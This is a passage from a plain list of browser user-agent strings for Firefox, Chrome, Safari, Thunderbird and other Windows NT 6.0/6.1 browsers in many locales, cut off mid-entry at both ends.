Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.1b4pre) Gecko/20090419 SeaMonkey/2.0b1pre Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.2) Gecko/20100105 Firefox/3.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.2) Gecko/20100115 Firefox/3.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; rv:1.9.1b4pre) Gecko/20090419 SeaMonkey/2.0b1pre Mozilla/5.0 (Windows; U; Windows NT 6.0; sk; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; sk; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; sk; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; sl; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 Mozilla/5.0 (Windows; U; Windows NT 6.0; sl; rv:1.9) Gecko/2008052906 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; sl; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; sr; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE) AppleWebKit/523.13 (KHTML, like Gecko) Version/3.0 Safari/523.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15 Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.0.18) Gecko/2010020220 Firefox/3.0.18 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; tr-TR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; tr; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; tr; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; tr; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; tr; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 Mozilla/5.0 (Windows; U; Windows NT 6.0; tr; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9) Gecko/2008052906 Firefox/3.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-CN; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-HK; rv:1.8.1.7) Gecko Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-HK;) Gecko Firefox/2.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1) AppleWebKit/526.3 (KHTML, like Gecko) Chrome/14.0.564.21 Safari/526.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; WOW64; cs; rv:1.9.2.6) Gecko/20100723 myibrow/4.0.0.0 (Firefox/3.6 compatible) Mozilla/5.0 (Windows; U; Windows NT 6.1; WOW64; en-US; rv:2.0.4) Gecko/20120718 AskTbAVR-IDW/3.12.5.17700 Firefox/14.0.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; ar; rv:1.9.2) Gecko/20100115 Firefox/3.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; ar; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 Mozilla/5.0 (Windows; U; Windows NT 6.1; bg; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 Mozilla/5.0 (Windows; U; Windows NT 6.1; ca; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; cs-CZ) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2 Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2a2pre) Gecko/20090912 Namoroka/3.6a2pre (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; da; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; de-AT; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/10.0.649.0 Safari/534.17 Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 4.0.20506) Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 ( .NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.16) Gecko/20101130 AskTbMYC/3.9.1.14019 Firefox/3.5.16 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.18) Gecko/20110320 SeaMonkey/2.0.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.19) Gecko/20110420 SeaMonkey/2.0.14 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.11) Gecko/20101013 Thunderbird/3.1.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101027 Lightning/1.0b2 Thunderbird/3.1.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101027 Thunderbird/3.1.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.13) Gecko/20101203 BTRS25863 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 (.NET CLR 1.1.4322) Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 GTB7.1 ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.15) Gecko/20110303 Thunderbird/3.1.9 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.17) Gecko/20110414 Lightning/1.0b2 Thunderbird/3.1.10 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.17) Gecko/20110414 Thunderbird/3.1.10 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.3) Gecko/20121221 Firefox/3.6.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.8) Gecko/20100722 Firefox 3.6.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.8) Gecko/20100802 Thunderbird/3.1.2 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.9) Gecko/20100825 Thunderbird/3.1.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.9) Gecko/20100915 Thunderbird/3.1.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.3a1pre) Gecko/20091013 Minefield/3.7a1pre Mozilla/5.0 (Windows; U; Windows NT 6.1; en-AU; rv:1.9.2.14) Gecko/20110218 Firefox/3.6.14 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-CA; rv:1.9.0.5) Gecko/2009012102 Firefox/3.0.5 Flock/2.0.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.8.1.24) Gecko/20100228 Thunderbird/2.0.0.24 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.0.16) Gecko/2010021003 Firefox/3.0.16 Flock/2.5.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.0.5) Gecko/2009012105 Firefox/3.0.5 Flock/2.0.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.7;MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.10) Gecko/20100512 Lightning/1.0b1 Thunderbird/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.10) Gecko/20100512 Thunderbird/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.17) Gecko/20110123 (like Firefox/3.x) SeaMonkey/2.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.17) Gecko/20110123 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070225 lolifox/0.32 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.17) Gecko/20110123 SeaMonkey/2.0.12 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.11) Gecko/20101013 Thunderbird/3.1.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.12) Gecko/20101027 Lightning/1.0b2 Thunderbird/3.1.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.15) Gecko/20110303 Lightning/1.0b2 Thunderbird/3.1.9 ThunderBrowse/3.3.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.17) Gecko/20110414 Lightning/1.0b2 Thunderbird/3.1.10 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.17) Gecko/20110414 Thunderbird/3.1.10 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.3) Gecko/20100401 Firefox/3.6;MEGAUPLOAD 1.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0C) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.154.9 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/528.7 (KHTML, like Gecko) Iron/1.0.155.0 Safari/528.7 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/1.0.156.0 Safari/528.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/531.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.9 (KHTML, like Gecko) Iron/2.0.178.0 Safari/530.9 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/531.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/3.0.191.0 Safari/531.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Iron/3.0.189.0 Safari/531.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.4 (KHTML, like Gecko) Chrome/3.0.194.0 Safari/531.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532+ (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.3 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.4 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.223.5 Safari/532.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.227.0 Safari/532.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Iron/4.0.227.0 Chrome/4.0.227.0 Safari/532.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Maxthon/3.0.6.27 Safari/532.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.246.0 Safari/532.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.1.249.1025 Safari/532.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.275.2 Safari/532.8 Iron/4.0.275.2 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.280.0 Safari/532.8 Iron/4.0.280.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Iron/4.0.275.2 Chrome/4.0.275.2 Safari/532.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.307.1 Safari/532.9 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Iron/4.0.280.0 Chrome/4.0.275.0 Safari/532.9 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Iron/4.0.280.0 Chrome/4.0.280.0 Safari/532.9 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533+ (KHTML, like Gecko) Element Browser 5.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Chrome/5.0.336.0 Safari/533.1 ChromePlus/1.3.8.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Iron/5.0.326.0 Chrome/5.0.326.0 Safari/533.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.3 Safari/533.2 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/6.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) 